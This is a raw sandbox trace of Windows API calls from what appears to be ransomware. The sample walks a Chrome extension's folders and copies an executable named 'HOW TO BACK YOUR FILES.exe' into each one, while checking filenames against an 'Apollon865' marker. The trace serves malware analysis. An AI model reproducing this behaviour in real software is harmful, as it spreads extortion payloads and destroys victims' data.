	[0048.361] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0"
	[0048.361] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.361] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.367] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.367] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e71a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e71a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.367] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.367] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.367] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="128.png" | out: lpString1="128.png") returned="128.png"
	[0048.367] lstrlenW (lpString="128.png") returned 7
	[0048.367] lstrlenW (lpString="Apollon865") returned 10
	[0048.367] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="contentscript_bin_prod.js" | out: lpString1="contentscript_bin_prod.js") returned="contentscript_bin_prod.js"
	[0048.367] lstrlenW (lpString="contentscript_bin_prod.js") returned 25
	[0048.367] lstrlenW (lpString="Apollon865") returned 10
	[0048.367] lstrcmpiW (lpString1="in_prod.js", lpString2="Apollon865") returned 1
	[0048.367] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="dasherSettingSchema.json" | out: lpString1="dasherSettingSchema.json") returned="dasherSettingSchema.json"
	[0048.367] lstrlenW (lpString="dasherSettingSchema.json") returned 24
	[0048.368] lstrlenW (lpString="Apollon865") returned 10
	[0048.368] lstrcmpiW (lpString1="chema.json", lpString2="Apollon865") returned 1
	[0048.368] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="eventpage_bin_prod.js" | out: lpString1="eventpage_bin_prod.js") returned="eventpage_bin_prod.js"
	[0048.368] lstrlenW (lpString="eventpage_bin_prod.js") returned 21
	[0048.368] lstrlenW (lpString="Apollon865") returned 10
	[0048.368] lstrcmpiW (lpString1="in_prod.js", lpString2="Apollon865") returned 1
	[0048.368] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="manifest.json" | out: lpString1="manifest.json") returned="manifest.json"
	[0048.368] lstrlenW (lpString="manifest.json") returned 13
	[0048.368] lstrlenW (lpString="Apollon865") returned 10
	[0048.368] lstrcmpiW (lpString1="ifest.json", lpString2="Apollon865") returned 1
	[0048.368] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="page_embed_script.js" | out: lpString1="page_embed_script.js") returned="page_embed_script.js"
	[0048.368] lstrlenW (lpString="page_embed_script.js") returned 20
	[0048.368] lstrlenW (lpString="Apollon865") returned 10
	[0048.368] lstrcmpiW (lpString1="_script.js", lpString2="Apollon865") returned -1
	[0048.368] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="_locales" | out: lpString1="_locales") returned="_locales"
	[0048.368] lstrcpyW (in: lpString1=0x2d3e64c, lpString2="_metadata" | out: lpString1="_metadata") returned="_metadata"
	[0048.368] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata"
	[0048.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb78 | out: hHeap=0x580000) returned 1
	[0048.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0048.368] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata") returned 135
	[0048.368] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata"
	[0048.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.374] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.374] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e71a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e71a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.374] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.374] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.374] lstrcpyW (in: lpString1=0x2d3e660, lpString2="computed_hashes.json" | out: lpString1="computed_hashes.json") returned="computed_hashes.json"
	[0048.374] lstrlenW (lpString="computed_hashes.json") returned 20
	[0048.374] lstrlenW (lpString="Apollon865") returned 10
	[0048.374] lstrcmpiW (lpString1="ashes.json", lpString2="Apollon865") returned 1
	[0048.374] lstrcpyW (in: lpString1=0x2d3e660, lpString2="verified_contents.json" | out: lpString1="verified_contents.json") returned="verified_contents.json"
	[0048.374] lstrlenW (lpString="verified_contents.json") returned 22
	[0048.374] lstrlenW (lpString="Apollon865") returned 10
	[0048.374] lstrcmpiW (lpString1="tents.json", lpString2="Apollon865") returned 1
	[0048.374] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales"
	[0048.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0048.374] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0048.374] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 134
	[0048.375] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales"
	[0048.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.380] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e97bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e97bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.381] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.381] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.381] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="af" | out: lpString1="af") returned="af"
	[0048.381] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="am" | out: lpString1="am") returned="am"
	[0048.381] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ar" | out: lpString1="ar") returned="ar"
	[0048.381] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="az" | out: lpString1="az") returned="az"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="bg" | out: lpString1="bg") returned="bg"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="bn" | out: lpString1="bn") returned="bn"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ca" | out: lpString1="ca") returned="ca"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="cs" | out: lpString1="cs") returned="cs"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="da" | out: lpString1="da") returned="da"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="de" | out: lpString1="de") returned="de"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="el" | out: lpString1="el") returned="el"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="en_GB" | out: lpString1="en_GB") returned="en_GB"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="en_US" | out: lpString1="en_US") returned="en_US"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="es" | out: lpString1="es") returned="es"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="es_419" | out: lpString1="es_419") returned="es_419"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="et" | out: lpString1="et") returned="et"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="eu" | out: lpString1="eu") returned="eu"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fa" | out: lpString1="fa") returned="fa"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fi" | out: lpString1="fi") returned="fi"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fil" | out: lpString1="fil") returned="fil"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fr" | out: lpString1="fr") returned="fr"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="fr_CA" | out: lpString1="fr_CA") returned="fr_CA"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="gl" | out: lpString1="gl") returned="gl"
	[0048.382] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="gu" | out: lpString1="gu") returned="gu"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hi" | out: lpString1="hi") returned="hi"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hr" | out: lpString1="hr") returned="hr"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hu" | out: lpString1="hu") returned="hu"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="hy" | out: lpString1="hy") returned="hy"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="id" | out: lpString1="id") returned="id"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="is" | out: lpString1="is") returned="is"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="it" | out: lpString1="it") returned="it"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="iw" | out: lpString1="iw") returned="iw"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ja" | out: lpString1="ja") returned="ja"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ka" | out: lpString1="ka") returned="ka"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="km" | out: lpString1="km") returned="km"
	[0048.383] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="kn" | out: lpString1="kn") returned="kn"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ko" | out: lpString1="ko") returned="ko"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="lo" | out: lpString1="lo") returned="lo"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="lt" | out: lpString1="lt") returned="lt"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="lv" | out: lpString1="lv") returned="lv"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ml" | out: lpString1="ml") returned="ml"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mn" | out: lpString1="mn") returned="mn"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="mr" | out: lpString1="mr") returned="mr"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ms" | out: lpString1="ms") returned="ms"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ne" | out: lpString1="ne") returned="ne"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="nl" | out: lpString1="nl") returned="nl"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="no" | out: lpString1="no") returned="no"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pl" | out: lpString1="pl") returned="pl"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pt_PT" | out: lpString1="pt_PT") returned="pt_PT"
	[0048.384] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ro" | out: lpString1="ro") returned="ro"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ru" | out: lpString1="ru") returned="ru"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="si" | out: lpString1="si") returned="si"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sk" | out: lpString1="sk") returned="sk"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sl" | out: lpString1="sl") returned="sl"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sr" | out: lpString1="sr") returned="sr"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sv" | out: lpString1="sv") returned="sv"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sw" | out: lpString1="sw") returned="sw"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ta" | out: lpString1="ta") returned="ta"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="te" | out: lpString1="te") returned="te"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="th" | out: lpString1="th") returned="th"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="tr" | out: lpString1="tr") returned="tr"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="uk" | out: lpString1="uk") returned="uk"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ur" | out: lpString1="ur") returned="ur"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="vi" | out: lpString1="vi") returned="vi"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zh_CN" | out: lpString1="zh_CN") returned="zh_CN"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zh_HK" | out: lpString1="zh_HK") returned="zh_HK"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0048.385] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zu" | out: lpString1="zu") returned="zu"
	[0048.385] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu"
	[0048.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cc000 | out: hHeap=0x580000) returned 1
	[0048.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5affa8 | out: hHeap=0x580000) returned 1
	[0048.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu") returned 137
	[0048.386] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu"
	[0048.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.391] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34e97bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34e97bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.391] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.391] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.391] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.391] lstrlenW (lpString="messages.json") returned 13
	[0048.391] lstrlenW (lpString="Apollon865") returned 10
	[0048.391] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.391] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW"
	[0048.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cbed8 | out: hHeap=0x580000) returned 1
	[0048.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff88 | out: hHeap=0x580000) returned 1
	[0048.391] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW") returned 140
	[0048.391] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW"
	[0048.391] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.391] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.395] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ebdd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34ebdd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.396] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.396] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.396] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.396] lstrlenW (lpString="messages.json") returned 13
